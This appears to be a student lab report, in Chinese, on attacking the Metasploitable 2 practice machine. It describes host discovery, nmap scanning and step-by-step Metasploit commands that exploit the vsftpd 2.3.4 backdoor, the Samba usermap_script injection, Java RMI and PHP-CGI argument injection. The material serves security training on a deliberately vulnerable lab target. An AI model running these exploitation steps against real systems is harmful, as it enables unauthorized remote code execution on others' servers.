1.實驗內容
1.1Vsftpd原始碼包後門漏洞(21埠)
在特定版本的Vsftpd伺服器程式中,存在被人惡意植入的程式碼。當攻擊者使用特定格式的使用者名稱(以特定字元,如“😃”為結尾)嘗試登入FTP伺服器時,伺服器就會在6200埠開啟一個後門,並允許執行任意程式碼。這種後門漏洞使得攻擊者無需具備高階許可權,就能遠端控制受影響的伺服器。
1.2SambaMS-RPC Shell命令注入漏洞(埠139)
Samba是一個在類Unix系統上實現SMB/CIFS網路協議的自由軟體,它允許Windows系統的使用者和類Unix系統的使用者共享檔案和印表機等資源。然而,在Samba的某些版本中,負責在SAM資料庫更新使用者口令的程式碼未經過濾,就直接將使用者輸入傳輸給了/bin/sh。如果在呼叫smb.conf中定義的外部指令碼時,攻擊者透過MS-RPC呼叫向/bin/sh提交了惡意輸入,就可能以nobody使用者的許可權在受影響的系統上執行任意命令。這種漏洞使得攻擊者能夠繞過正常的安全機制,獲取對系統的控制權。
1.3Java RMI SERVER命令執行漏洞(1099埠)
Java RMI(Remote Method Invocation)是Java平臺的一部分,它允許一個Java虛擬機器上的物件呼叫另一個Java虛擬機器上的物件的方法。然而,在Java RMI Server的某些版本中,RMI登錄檔和RMI啟用服務的預設配置存在安全漏洞。攻擊者可以利用這些漏洞,透過向RMI登錄檔傳送惡意構造的RMI請求,來在伺服器上執行任意程式碼。由於1099埠是Java RMI的預設埠,因此該漏洞通常與1099埠相關聯。攻擊者一旦成功利用此漏洞,就能獲得對伺服器的控制權,並執行任意命令。
1.4PHP CGI引數執行注入漏洞(80埠)
PHP-CGI是一個處理PHP指令碼的CGI程式,它接收Web容器(如Apache)收到的HTTP資料包,並將其中的資料交給PHP直譯器執行。然而,在CGI模式下執行的PHP中,如果CGI指令碼沒有正確處理請求引數,就可能導致原始碼洩露或允許遠端攻擊者在請求引數中插入執行命令。這種漏洞通常被稱為PHP CGI引數執行注入漏洞。攻擊者可以利用此漏洞,透過向受影響的Web伺服器傳送惡意構造的HTTP請求,來在伺服器上執行任意程式碼。由於80埠是Web伺服器的預設埠,因此該漏洞通常與80埠相關聯。
2.實驗過程
2.1前期滲透
2.1.1主機發現
首先要下載官方提供的靶機,下載連結我放在下面了。
https://docs.rapid7.com/metasploit/metasploitable-2-exploitability-guide/
最好在一個單獨的頁面開啟,這樣下載速度會快一點。
解壓好之後就可以登入了,使用者名稱和密碼都是msfadmin
我這邊用了putty,這樣命令列介面能夠更直觀一點。
然後我們獲取到靶機的IP地址是192.168.121.163
然後我們使用arp_sweep
來做主機發現。
在msf控制檯下輸入search arp_sweep
然後輸入use auxiliary/scanner/discovery/arp_sweep
來進入模組,並檢視都需要我們配置哪些引數。
這裡我們輸入下列命令
set RHOST 192.168.121.0/24
set THREADS 256
我們發現192.168.121.163
就是我們要發現的主機。
2.1.2埠掃描
然後在kali上進行掃描,命令如下
nmap -Pn -p0-65535 192.168.121.163
2.1.3系統版本探測
命令如下:
namp -O 192.168.121.163
我們可以看到靶機的作業系統是Linux2.6.X,其他資訊也能看到。
2.2Vsftpd原始碼包後門漏洞(21埠)
漏洞原理:在特定版本的vsftpd伺服器程式中,被人惡意植入程式碼,當使用者名稱以“😃”為結尾,伺服器就會在6200埠監聽,並且能夠執行任意程式碼。
在msf控制檯介面輸入以下命令
search exploit/unix/ftp/vsftpd_234_backdoor
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOST 192.168.121.104(靶機的ip)
run
我們來看一下執行效果
2.3SambaMS-RPC Shell命令注入漏洞(埠139)
漏洞原理:Samba中負責在SAM資料庫更新使用者口令的程式碼未經過濾便將使用者輸入傳輸給了/bin/sh。如果在呼叫smb.conf中定義的外部指令碼時,透過對/bin/sh的MS-RPC呼叫提交了惡意輸入的話,就可能允許攻擊者以nobody使用者的許可權執行任意命令。
在msf控制檯介面輸入以下命令
search exploit/multi/samba/usermap_script
use exploit/multi/samba/usermap_script
set RHOST 192.168.121.104(靶機的ip)
run
我們看一下執行效果
2.4Java RMI SERVER命令執行漏洞(1099埠)
漏洞原理:Java RMI Server的RMI登錄檔和RMI啟用服務的預設配置存在安全漏洞,可被利用導致程式碼執行。
我們先檢視1099埠是否開啟。
然後在控制檯介面輸入以下命令
search exploit/multi/misc/java_rmi_server
use exploit/multi/misc/java_rmi_server
set RHOST 192.168.121.104
run
我們來看一下執行效果
2.5PHP CGI引數執行注入漏洞(80埠)
在msf控制檯介面輸入以下命令
search exploit/multi/http/php_cgi_arg_injection
use exploit/multi/http/php_cgi_arg_injection
set RHOST 192.168.121.104(靶機的ip)
run
我們看一下執行效果
3.問題及解決方案
- 問題1:kali和靶機不在同一個網段
- 問題1解決方案:靶機下載時網路配置預設是NAT模式,而主機是橋接模式。需要注意的是,NAT模式下的地址雖然也是私有地址,但是邏輯上和其他私有地址並不是同一個網段,所以不能ping通。只需要將兩者均修改為橋接模式,然後重啟,就能解決。
4.學習感悟、思考等
本次實驗涵蓋了多個經典漏洞的利用方法,每個漏洞的利用都需要細緻的前期準備和精確的引數配置,稍有不慎就可能導致失敗。但是有了現成的框架,我們能夠很輕鬆的實現攻擊。網路攻防是一個不斷髮展的領域,只有不斷學習、實踐,才能跟上時代的步伐。不但要學習,更要善用方法。
參考資料
- 《Metasploitable 2 Exploitability Guide》